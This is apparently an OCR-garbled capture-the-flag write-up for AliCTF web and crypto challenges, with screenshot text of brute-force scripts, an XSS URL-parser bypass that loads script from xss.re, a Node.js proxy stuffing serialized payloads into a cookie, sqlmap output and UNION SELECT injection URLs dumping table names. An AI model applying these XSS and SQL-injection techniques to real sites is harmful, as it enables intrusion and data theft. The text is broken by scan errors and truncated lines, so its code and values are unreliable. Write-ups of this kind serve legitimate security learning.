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<?php

$ord = [
[0, 1, 2],
[0, 2, 1],
[1, o, 2],
[1, 2, o],
[2, 1, o],
[2, o, 1],
[e, 11,
[1, o],

1

$opt = [
"swx2',

'1427621772",
'673f3e705c8d5b7af675f309e58d46¢9"

1;

foreach ($ord as $order) {
$concat = '';
foreach ($order as $i) {
$concat .= $opt[$i];
}

echo $concat."\t".md5($concat)."\n";
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s rpc.py (C\Users\iceboy\Desktop): Default Project: Wing IDE - DR
Eille Edit Source Refactor Project Debug Testing JTools Window Help

RBwEG XA@E o ¢ x| /@ zeze &F A>T ‘
rpe.py
< » [Gom o] Fox
4 = def rpc(token, fn, data): ~
5 s = socket.socket()
6 s.connect(('88bytes.alictf.com', 30008))
7 = buffer = struct.pack('!B", len(tocken)) + token \
8 + struct.pack('!BI', fn, len(data)) + data
9 s.send(buffer)
1@ return s.recv(4096)
11

12 = def req(strl, str2, pos, length, secretKey, logRequest):
13 =  buffer = struct.pack('B128sB128sib58si’, len(strl), strl, len(str2), str2,

14 pos, length, secretKey, logRequest)

15 return buffer

16

17 r = req(b'a', b'b', @, @, b'cd4852c786e64b5bc502b45c76392674c165a5F21e5aca3es’, 1)

18 print(rpc(b'12f5a561c47829367c54b2@5cb5bd6et’, @, r))

19 r=req(b'', b'", 128, -128, b'c4852c7086e64b5hc582b45c76392874c165a5F21e5aca3eb", 8)

20 print(rpc(b'12f5a561c47029367c54b205cb5b46e6", 6, r))

21 .
Debug I/0 | Debug Probe | Watch | Modules | Python Shell | Bookmarks | Messages | 0S Commands | v
‘rpc.py {pid 6860) ~+ Debug I/0 (stdin, stdout, stderr) appears below Options
b"\x00\x00\ x08\ x02ab’
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<code data-origin=""

http://ef4c3e75566411f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798">http://ef4
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C | [ ef4c3e7556641f00.alictf.com/index2.php?hitp://hello@notexist.example.com:x@xss.re/7798

= Mk T A FreeBuf €% Solidet P usaco ' @mEE®Z W Pinowest B svmbolab gzxS  [BYiceMoon 1
— 800 e Developer Tools - http:/fefdc3e7556641f00.alictf.com/index2.phpThttp:/‘hello@notexis
Q MNet\mrk Sources Timeline Profiles Resources Audits Console EditThisCookie
=/script=
</head>
¥ <body=

¥<script type="text/javascript"=
var url = new URL(location.search.substr(1});
url.validate()
url = url.get()
S.getScripturl)

</script>
</body>

html  body  script
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> url
"hittp://hello@notexist.example.com: x@xss. re/7798"
» var url = new URL(location.search.substr{1)}};
undefined
3 url.validate()
undefined
> url
¥URL {furl: "http://hellognotexist.example.com:x@xss.re/7798", illegal: Talse, scheme: “http", guery: null, fragment: n
authority: "notexist.example.com"
fragment: null
illegal: false
password: null
path: "/7798"
port: "x@xss.re"
query: null
scheme: "hitp"
url: "hitp://hellognotexist.example. com: x@xss. re/7798"
username: "hello"
»__proto__: URL
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encrypt(P)=md5(P) ®R®V-R">encrypt(P)=md5(P) ®R®V-R
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<code data-origin=
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decrypt(C:-R)=C®R®V">decrypt(C-R)=CHRBV
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<code data-origin=

decrypt(encrypt(P))=md5(P)">decrypt(encrypt(P))=md5(P)

<code data-origin=

<code data-origin=
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<code data-origin=

<code data-origin=

<code data-origin=

var cluster = require('cluster');
var crypto

require('crypto');
var cookie
Buffer('ZjzkPDRhYZzRnYTM5bDdmNGFkYjI3a2NnMjg6YWZrMTtWUWEBVEIcAgYEBAYMULITUgYCUgABAQUEUL
EBBwpWUg==", 'base64');

var charset = '0123456789abcdefghijklmnopqrstuvwxyz’;

60;

new

var numCPUs

if (cluster.isMaster) {
var a = 9, b = 0;
function forkNew() {
if (a < charset.length & b < charset.length) {
cluster.fork({start: charset[a] + charset[b]});
if (++b >= charset.length) {

b =0; ++a;

}
for (var i = @; i < numCPUs; ++i) {
forkNew();
}
cluster.on('exit', function(worker, code, signal) {
if (worker.suicide)
forkNew();
s
} else {
function decrypt(flag) {
var md5 = crypto.createHash('md5");
md5.update(flag);
var q = md5.digest('hex"');
g += q.split('').reverse().join("'");
for (var i = 0; i < 32; ++i) {
var p = g.charCodeAt(i) ~ g.charCodeAt(i + 32) ~ cookie[i] ”~ cookie[i + 32];
if ((p >= 48 && p <= 57) || (p >= 97 && p <= 102))
continue;
return false;

}

return true;
}
var start = process.env['start'];
console.log('Trying '
for (var ¢ = @; c < charset.length; ++c) {
for (var d = @; d < charset.length; ++d) {
for (var e = @; e < charset.length; ++e) {
for (var £ = @; f < charset.length; ++f) {
var flag = start + charset[c] + charset[d] + charset[e] + charset[f];
if (decrypt(flag)) {
console.log('Found flag: ' + flag);

+ start + '...");



break;

s

console.log()
cluster.worker.kill();

}
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node validate.js | tee log file

<code data-origin=

<code data-origin=""
<code data-origin=""
RIFAAVEERE
decrypt(role)
R E
[6-9a-f]
[

<code data-origin=

<code data-origin=""

<code data-origin=""

[shiwenxuan@hgfl® alictf]$ cat log_file | grep "Found"
Found flag: 21ylee
Found flag: 41v3nl
Found flag: 51i3tj
Found flag: 4ayuyr
Found flag: 4xyyfz
Found flag: 759va7
Found flag: 7tOmaj
Found flag: Tyj24i
Found flag: 8tsova
Found flag: 9codqc
Found flag: av4nvh
Found flag: b4laco
Found flag: axpkc®
Found flag: dsoil3
Found flag: h2dxfc
Found flag: ghyw27
Found flag: i04m78
Found flag: j4gxlw
Found flag: ixtTiy
Found flag: j6lojg
Found flag: jww@3




: kigdos
: jgliwg
: 19895u
: lanlan
: mcljnx
: lmo3cy
: ménbjz
: ojbgot
: pBorh?
: g51l2jp
: ggm82n
: tlgcia
: udé2gp
: ubofsa
: utlSha
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decrypt(cookie, 'lanlan') -&gt; adb831a7fdd83ddle2a309ce7591dff8">decry
cmd5 (adb831a7fdd83dd1e2a309ce7591dff8) -> 'Guest'
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<code data-origin=
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CSs| ke ¥Response Cookies
article %3A1%3B
| jquery.min.js
bootstrap.min.js

=] /dba8880fbccO252

| docs.min.js
9 requests | 2.3 KB transferred | 423 ms (load: 40
Console | Search Emulation Rendering
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8 28: B.288 GET fassets
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decodeURIComponent ( ' i%3A1%3B")
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serialize(2)
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BT EeE, B U SE R Si—4> bridge Server fit SQLMap H3I{k
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ser

ialize()

JEN cookie ERMREE, HERELER) -

va
va

va

va

va

va

va
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r cookie = ‘'article=[--i--]; role=MjclbWVmMzBhNzk20DBka2EwYTZkYjN1lbjxjZ
r referer = '"http://cbcd512994370fc3d6aB5eb9a73b31e9.alictf.com/dba8880
r url = 'http://cbcd512994370fc3d6aB5eb9a73b31e9.alictf.com/dba8880fbcc

r request = require('request');
r cheerio = require('cheerio');
r express = require('express');

r app = express();

nction serialize(...) {
// see http://phpjs.org/functions/serialize/

app.get('/', function (req, res) {

}

var server

1)

request.get(url, {
headers: {
cookie: cookie.replace('[--i--]', encodeURIComponent(serialize(
Host: 'cbcd512994370fc3d6ad5eb9a73b31e9.alictf.com’,
Referer: referer,
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_10 2) A
}
}, function(err, response, body) {
if (err) {
console.log(err.stack);
res.status(500).end();
return;

var $ = cheerio.load(body.toString());
var lead = $('.lead"');

var text = lead.text();

res.end(text);

1)

app.listen(3000, function () {
var host = server.address().address;

var port = server.address().port;
console.log('listening at http://%s:%s', host, port);
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not Postgresy
[21:23:49] [WARNING] the ba s not Microsoft SQL Server
[21:23:49] [WARNING] the back-en s not SQuite

[21:23149] [WARNING] the ba

[21:23:49] [WARNING] the ba

[21:23:49] [WARNING] the ba

[21:23:49] [WARNING] the ba

[21123:49] [WARNING] the ba s not I8N DB2

[21:23:50] [WARNING] the back-end DBMS is not HSQLDB or version is < 1.7.2
[21:23:50] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system. Support for this DBMS will be implemented at some point

[*] shutting down at 21:23:50
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http://localhost:3000/?article=1000%20union%20select%201,%20table name%
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bo0 Dooo

24 TABLE_PRIVILEGES
25 TRIGGERS

29 flag

30 columns_priv
31 db

34 general_log

35 help_category
36 help_keyword

33 func
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http://localhost:3000/?article=1000%20union%20select%201,COLU
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<code data-origin=""
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